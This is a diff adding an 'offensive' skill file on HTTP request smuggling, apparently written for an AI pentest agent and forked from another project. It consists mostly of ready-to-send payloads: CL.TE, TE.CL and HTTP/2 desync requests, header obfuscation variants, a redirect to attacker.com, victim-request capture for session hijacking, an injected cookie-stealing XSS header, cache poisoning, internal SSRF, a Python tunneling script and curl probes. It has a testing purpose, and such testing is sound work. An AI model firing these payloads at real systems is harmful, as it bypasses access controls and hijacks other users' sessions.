- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,411 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: http-smuggling
|
|
5
|
+
description: HTTP request smuggling via CL.TE, TE.CL, TE.TE, H2.CL, H2.TE desync attacks
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# HTTP Request Smuggling
|
|
9
|
+
|
|
10
|
+
HTTP request smuggling exploits disagreements between front-end (load balancer/CDN) and back-end (application server) about where one HTTP request ends and the next begins. This allows attackers to inject requests that poison back-end queues — bypassing security controls, hijacking sessions, and achieving cache poisoning or RCE escalation.
|
|
11
|
+
|
|
12
|
+
## Core Concepts
|
|
13
|
+
|
|
14
|
+
**Why It Works**
|
|
15
|
+
- Front-end and back-end use different header precedence for `Content-Length` (CL) and `Transfer-Encoding` (TE)
|
|
16
|
+
- RFC 7230: if both headers present, TE takes precedence — but implementations differ
|
|
17
|
+
- HTTP/2 uses frame-based framing that can downgrade to HTTP/1.1 with ambiguity
|
|
18
|
+
|
|
19
|
+
**Attack Types**
|
|
20
|
+
| Type | Front-end uses | Back-end uses |
|
|
21
|
+
|------|---------------|---------------|
|
|
22
|
+
| CL.TE | Content-Length | Transfer-Encoding |
|
|
23
|
+
| TE.CL | Transfer-Encoding | Content-Length |
|
|
24
|
+
| TE.TE | Both support TE (obfuscate to confuse one) | - |
|
|
25
|
+
| H2.CL | HTTP/2 (CL header) | HTTP/1.1 (uses CL) |
|
|
26
|
+
| H2.TE | HTTP/2 (TE header injected) | HTTP/1.1 (uses TE) |
|
|
27
|
+
|
|
28
|
+
## CL.TE — Front-end uses CL, Back-end uses TE
|
|
29
|
+
|
|
30
|
+
Front-end forwards based on Content-Length. Back-end reads chunked Transfer-Encoding, treating remaining data as the start of the next request.
|
|
31
|
+
|
|
32
|
+
```
|
|
33
|
+
POST / HTTP/1.1
|
|
34
|
+
Host: vulnerable.com
|
|
35
|
+
Content-Length: 13
|
|
36
|
+
Transfer-Encoding: chunked
|
|
37
|
+
|
|
38
|
+
0
|
|
39
|
+
|
|
40
|
+
SMUGGLED
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
**Detection (timing):**
|
|
44
|
+
```
|
|
45
|
+
POST / HTTP/1.1
|
|
46
|
+
Host: vulnerable.com
|
|
47
|
+
Content-Type: application/x-www-form-urlencoded
|
|
48
|
+
Content-Length: 4
|
|
49
|
+
Transfer-Encoding: chunked
|
|
50
|
+
|
|
51
|
+
1
|
|
52
|
+
Z
|
|
53
|
+
Q
|
|
54
|
+
```
|
|
55
|
+
- If hangs ~10s → CL.TE confirmed (back-end waiting for completion of chunk)
|
|
56
|
+
|
|
57
|
+
**Exploit — Poison next request:**
|
|
58
|
+
```
|
|
59
|
+
POST / HTTP/1.1
|
|
60
|
+
Host: vulnerable.com
|
|
61
|
+
Content-Type: application/x-www-form-urlencoded
|
|
62
|
+
Content-Length: 49
|
|
63
|
+
Transfer-Encoding: chunked
|
|
64
|
+
|
|
65
|
+
e
|
|
66
|
+
q=smuggling&x=
|
|
67
|
+
0
|
|
68
|
+
|
|
69
|
+
GET /admin HTTP/1.1
|
|
70
|
+
Host: vulnerable.com
|
|
71
|
+
X-Ignore: X
|
|
72
|
+
```
|
|
73
|
+
|
|
74
|
+
## TE.CL — Front-end uses TE, Back-end uses CL
|
|
75
|
+
|
|
76
|
+
Front-end reads chunked body fully and forwards. Back-end uses Content-Length, leaving remainder for next request.
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
POST / HTTP/1.1
|
|
80
|
+
Host: vulnerable.com
|
|
81
|
+
Content-Type: application/x-www-form-urlencoded
|
|
82
|
+
Content-Length: 3
|
|
83
|
+
Transfer-Encoding: chunked
|
|
84
|
+
|
|
85
|
+
8
|
|
86
|
+
SMUGGLED
|
|
87
|
+
0
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
**Detection (timing):**
|
|
93
|
+
```
|
|
94
|
+
POST / HTTP/1.1
|
|
95
|
+
Host: vulnerable.com
|
|
96
|
+
Content-Type: application/x-www-form-urlencoded
|
|
97
|
+
Content-Length: 3
|
|
98
|
+
Transfer-Encoding: chunked
|
|
99
|
+
|
|
100
|
+
1
|
|
101
|
+
Z
|
|
102
|
+
X
|
|
103
|
+
```
|
|
104
|
+
- If hangs ~10s → TE.CL confirmed (front-end waits for chunk terminator)
|
|
105
|
+
|
|
106
|
+
**Exploit — Redirect next victim to attacker URL:**
|
|
107
|
+
```
|
|
108
|
+
POST / HTTP/1.1
|
|
109
|
+
Host: vulnerable.com
|
|
110
|
+
Content-Type: application/x-www-form-urlencoded
|
|
111
|
+
Content-Length: 4
|
|
112
|
+
Transfer-Encoding: chunked
|
|
113
|
+
|
|
114
|
+
87
|
|
115
|
+
GET /redirect HTTP/1.1
|
|
116
|
+
Host: attacker.com
|
|
117
|
+
Content-Type: application/x-www-form-urlencoded
|
|
118
|
+
Content-Length: 0
|
|
119
|
+
|
|
120
|
+
0
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
```
|
|
124
|
+
|
|
125
|
+
## TE.TE — Both support TE, one can be obfuscated
|
|
126
|
+
|
|
127
|
+
Both servers support Transfer-Encoding, but one can be made to ignore it via obfuscation:
|
|
128
|
+
|
|
129
|
+
```bash
|
|
130
|
+
# Obfuscation techniques
|
|
131
|
+
Transfer-Encoding: xchunked
|
|
132
|
+
Transfer-Encoding: chunked
|
|
133
|
+
Transfer-Encoding: CHUNKED
|
|
134
|
+
Transfer-Encoding: chunked
|
|
135
|
+
Transfer-Encoding: x
|
|
136
|
+
Transfer-Encoding:[tab]chunked
|
|
137
|
+
[space]Transfer-Encoding: chunked
|
|
138
|
+
X: X[\n]Transfer-Encoding: chunked
|
|
139
|
+
Transfer-Encoding
|
|
140
|
+
: chunked
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
**Example TE.TE payload:**
|
|
144
|
+
```
|
|
145
|
+
POST / HTTP/1.1
|
|
146
|
+
Host: vulnerable.com
|
|
147
|
+
Content-Type: application/x-www-form-urlencoded
|
|
148
|
+
Content-Length: 4
|
|
149
|
+
Transfer-Encoding: chunked
|
|
150
|
+
Transfer-encoding: x
|
|
151
|
+
|
|
152
|
+
5c
|
|
153
|
+
GPOST / HTTP/1.1
|
|
154
|
+
Content-Type: application/x-www-form-urlencoded
|
|
155
|
+
Content-Length: 15
|
|
156
|
+
|
|
157
|
+
x=1
|
|
158
|
+
0
|
|
159
|
+
|
|
160
|
+
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
## HTTP/2 Desync (H2.CL and H2.TE)
|
|
164
|
+
|
|
165
|
+
HTTP/2 uses binary framing (no CL/TE ambiguity), but when downgraded to HTTP/1.1 at the back-end, injected headers create desync.
|
|
166
|
+
|
|
167
|
+
### H2.CL
|
|
168
|
+
|
|
169
|
+
```
|
|
170
|
+
:method POST
|
|
171
|
+
:path /
|
|
172
|
+
:authority vulnerable.com
|
|
173
|
+
content-type application/x-www-form-urlencoded
|
|
174
|
+
content-length 0
|
|
175
|
+
|
|
176
|
+
GET /admin HTTP/1.1
|
|
177
|
+
Host: vulnerable.com
|
|
178
|
+
Content-Length: 10
|
|
179
|
+
|
|
180
|
+
x=1
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
### H2.TE (Request Tunneling)
|
|
184
|
+
|
|
185
|
+
```
|
|
186
|
+
:method POST
|
|
187
|
+
:path /
|
|
188
|
+
:authority vulnerable.com
|
|
189
|
+
transfer-encoding chunked
|
|
190
|
+
|
|
191
|
+
0
|
|
192
|
+
|
|
193
|
+
GET /admin HTTP/1.1
|
|
194
|
+
Host: internal-backend.com
|
|
195
|
+
Content-Length: 5
|
|
196
|
+
|
|
197
|
+
x=1
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
### H2 Header Injection
|
|
201
|
+
|
|
202
|
+
```
|
|
203
|
+
# Inject \r\n into pseudo-header to add extra HTTP/1.1 headers
|
|
204
|
+
:method GET\r\nTransfer-Encoding: chunked
|
|
205
|
+
:path /
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
## Detection Tools
|
|
209
|
+
|
|
210
|
+
```bash
|
|
211
|
+
# smuggler.py — automated detection
|
|
212
|
+
python3 smuggler.py -u https://target.com -m POST
|
|
213
|
+
|
|
214
|
+
# h2csmuggler — HTTP/2 cleartext upgrade smuggling
|
|
215
|
+
python3 h2csmuggler.py --test https://target.com
|
|
216
|
+
python3 h2csmuggler.py --smuggle --header "Transfer-Encoding: chunked" https://target.com /admin
|
|
217
|
+
|
|
218
|
+
# http-request-smuggling (Burp extension via curl)
|
|
219
|
+
# Use Burp Suite HTTP Request Smuggler extension for interactive testing
|
|
220
|
+
|
|
221
|
+
# Manual timing test
|
|
222
|
+
time curl -s -o /dev/null -X POST https://target.com/ \
|
|
223
|
+
-H "Content-Length: 4" \
|
|
224
|
+
-H "Transfer-Encoding: chunked" \
|
|
225
|
+
--data $'1\r\nZ\r\nQ'
|
|
226
|
+
# If 10+ seconds → potential CL.TE
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
## Exploitation Scenarios
|
|
230
|
+
|
|
231
|
+
### 1. Bypass Front-End Access Controls
|
|
232
|
+
|
|
233
|
+
```
|
|
234
|
+
# Front-end blocks /admin — smuggle past it
|
|
235
|
+
POST / HTTP/1.1
|
|
236
|
+
Host: vulnerable.com
|
|
237
|
+
Content-Length: 116
|
|
238
|
+
Transfer-Encoding: chunked
|
|
239
|
+
|
|
240
|
+
0
|
|
241
|
+
|
|
242
|
+
GET /admin HTTP/1.1
|
|
243
|
+
Host: vulnerable.com
|
|
244
|
+
Content-Type: application/x-www-form-urlencoded
|
|
245
|
+
Content-Length: 10
|
|
246
|
+
|
|
247
|
+
x=1
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
### 2. Capture Victim Requests (Session Hijacking)
|
|
251
|
+
|
|
252
|
+
```
|
|
253
|
+
# Poison queue with a request that captures the next victim's full request
|
|
254
|
+
POST / HTTP/1.1
|
|
255
|
+
Host: vulnerable.com
|
|
256
|
+
Content-Type: application/x-www-form-urlencoded
|
|
257
|
+
Content-Length: 198
|
|
258
|
+
Transfer-Encoding: chunked
|
|
259
|
+
|
|
260
|
+
0
|
|
261
|
+
|
|
262
|
+
POST /save HTTP/1.1
|
|
263
|
+
Host: vulnerable.com
|
|
264
|
+
Content-Type: application/x-www-form-urlencoded
|
|
265
|
+
Content-Length: 600
|
|
266
|
+
|
|
267
|
+
search=
|
|
268
|
+
# Next victim's request is appended to the body — retrieve from /save
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
### 3. Reflect Victim Request to XSS
|
|
272
|
+
|
|
273
|
+
```
|
|
274
|
+
POST / HTTP/1.1
|
|
275
|
+
Host: vulnerable.com
|
|
276
|
+
Content-Length: 150
|
|
277
|
+
Transfer-Encoding: chunked
|
|
278
|
+
|
|
279
|
+
0
|
|
280
|
+
|
|
281
|
+
GET /404error HTTP/1.1
|
|
282
|
+
Host: vulnerable.com
|
|
283
|
+
X-Injected: <script>alert(document.cookie)</script>
|
|
284
|
+
```
|
|
285
|
+
|
|
286
|
+
### 4. Web Cache Poisoning via Smuggling
|
|
287
|
+
|
|
288
|
+
```
|
|
289
|
+
# Smuggle a request that poisons cache with malicious response
|
|
290
|
+
POST / HTTP/1.1
|
|
291
|
+
Host: vulnerable.com
|
|
292
|
+
Content-Length: 123
|
|
293
|
+
Transfer-Encoding: chunked
|
|
294
|
+
|
|
295
|
+
0
|
|
296
|
+
|
|
297
|
+
GET /static/main.js HTTP/1.1
|
|
298
|
+
Host: vulnerable.com
|
|
299
|
+
X-Forwarded-Host: attacker.com
|
|
300
|
+
```
|
|
301
|
+
|
|
302
|
+
### 5. Internal Service Access (SSRF via Smuggling)
|
|
303
|
+
|
|
304
|
+
```
|
|
305
|
+
# Reach internal services only accessible via back-end
|
|
306
|
+
POST / HTTP/1.1
|
|
307
|
+
Host: vulnerable.com
|
|
308
|
+
Content-Length: 74
|
|
309
|
+
Transfer-Encoding: chunked
|
|
310
|
+
|
|
311
|
+
0
|
|
312
|
+
|
|
313
|
+
GET http://internal-service.local/admin HTTP/1.1
|
|
314
|
+
Host: internal-service.local
|
|
315
|
+
```
|
|
316
|
+
|
|
317
|
+
### 6. Request Queue Poisoning for Account Takeover
|
|
318
|
+
|
|
319
|
+
```
|
|
320
|
+
# Victim's next authenticated request gets processed under attacker's account
|
|
321
|
+
# 1. Attacker logs in, gets session A
|
|
322
|
+
# 2. Smuggle poisoned request that will intercept next request
|
|
323
|
+
# 3. Victim makes any request → processed as attacker's session
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
## HTTP/2 Request Tunneling
|
|
327
|
+
|
|
328
|
+
Bypasses front-end rules by tunneling a complete HTTP/1 request inside H2:
|
|
329
|
+
|
|
330
|
+
```python
|
|
331
|
+
import httpx
|
|
332
|
+
|
|
333
|
+
# Full request tunneled inside HTTP/2 body
|
|
334
|
+
with httpx.Client(http2=True) as client:
|
|
335
|
+
response = client.post(
|
|
336
|
+
"https://target.com/",
|
|
337
|
+
headers={
|
|
338
|
+
"content-type": "application/x-www-form-urlencoded",
|
|
339
|
+
},
|
|
340
|
+
content=b"GET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n"
|
|
341
|
+
)
|
|
342
|
+
```
|
|
343
|
+
|
|
344
|
+
## Testing Methodology
|
|
345
|
+
|
|
346
|
+
1. **Detect desync type** — timing-based probes for CL.TE and TE.CL
|
|
347
|
+
2. **Confirm with differential response** — compare response of normal vs smuggled request
|
|
348
|
+
3. **Identify front-end** — CDN/LB type (Nginx, HAProxy, AWS ALB, Cloudflare) affects behavior
|
|
349
|
+
4. **Test H2 downgrade** — check if server accepts HTTP/2, try H2.CL and H2.TE
|
|
350
|
+
5. **Exploit access control bypass** — smuggle to /admin or internal paths
|
|
351
|
+
6. **Attempt victim capture** — poison queue to capture next request including cookies/tokens
|
|
352
|
+
7. **Cache poisoning** — combine with cache poisoning for persistent impact
|
|
353
|
+
|
|
354
|
+
```bash
|
|
355
|
+
# Step 1: Basic timing test for CL.TE
|
|
356
|
+
curl -s -o /dev/null -w "%{time_total}" -X POST https://target.com/ \
|
|
357
|
+
-H "Content-Length: 6" \
|
|
358
|
+
-H "Transfer-Encoding: chunked" \
|
|
359
|
+
--data $'3\r\nabc\r\nX'
|
|
360
|
+
# >10s → CL.TE likely
|
|
361
|
+
|
|
362
|
+
# Step 2: Confirm with differential response
|
|
363
|
+
# Send normal request → note response
|
|
364
|
+
# Send smuggled request → if 404/403 different → confirmed
|
|
365
|
+
|
|
366
|
+
# Step 3: Use smuggler.py
|
|
367
|
+
python3 smuggler.py -u https://target.com/ --log-level debug
|
|
368
|
+
```
|
|
369
|
+
|
|
370
|
+
## Indicators of Vulnerability
|
|
371
|
+
|
|
372
|
+
- Server uses both `Content-Length` and `Transfer-Encoding` headers simultaneously in responses
|
|
373
|
+
- Requests are forwarded through a proxy/CDN chain
|
|
374
|
+
- Server running: Apache Traffic Server, Varnish, older HAProxy, AWS ALB+EC2 combo
|
|
375
|
+
- Inconsistent responses for repeated identical requests
|
|
376
|
+
- 400/408 errors on normal requests (back-end confused by smuggled prefix)
|
|
377
|
+
|
|
378
|
+
## Validation
|
|
379
|
+
|
|
380
|
+
1. Demonstrate access to `/admin` or other restricted resource via smuggled request
|
|
381
|
+
2. Capture a victim's Authorization header via queue poisoning (use Collaborator)
|
|
382
|
+
3. Show cache poisoning by contaminating a shared cache entry
|
|
383
|
+
4. Provide exact HTTP request bytes (not URL-encoded) for reproduction
|
|
384
|
+
|
|
385
|
+
## False Positives
|
|
386
|
+
|
|
387
|
+
- Network timeouts unrelated to chunked encoding handling
|
|
388
|
+
- Normal 400 errors on malformed requests
|
|
389
|
+
- CDN rate limiting triggering on repeated POST requests
|
|
390
|
+
|
|
391
|
+
## Impact
|
|
392
|
+
|
|
393
|
+
- Authentication bypass (access admin panels without credentials)
|
|
394
|
+
- Session hijacking (capture live victim authentication tokens)
|
|
395
|
+
- Cache poisoning leading to stored XSS or phishing at scale
|
|
396
|
+
- SSRF to internal services inaccessible from outside
|
|
397
|
+
- Response queue poisoning causing information disclosure
|
|
398
|
+
|
|
399
|
+
## Pro Tips
|
|
400
|
+
|
|
401
|
+
1. Always disable automatic `Content-Length` correction in Burp when testing smuggling
|
|
402
|
+
2. Use `\r\n` explicitly — tools that normalize line endings break chunked payloads
|
|
403
|
+
3. Timing tests are unreliable on high-latency connections — use differential response instead
|
|
404
|
+
4. AWS ALB + EC2 is the most common real-world TE.CL configuration
|
|
405
|
+
5. Cloudflare's connection reuse makes it vulnerable to H2.TE tunneling
|
|
406
|
+
6. Never use `Connection: close` in smuggled requests — breaks the attack chain
|
|
407
|
+
7. For victim capture: set `Content-Length` in the smuggled request large enough to capture headers
|
|
408
|
+
|
|
409
|
+
## Summary
|
|
410
|
+
|
|
411
|
+
HTTP smuggling exploits parsing disagreements across a proxy chain. CL.TE and TE.CL are the classic HTTP/1.1 variants; H2.CL and H2.TE target HTTP/2-to-HTTP/1.1 downgrade paths. Impact ranges from simple access control bypass to full session hijacking of other users. Use smuggler.py for detection, then manually craft exploits for specific impact.
|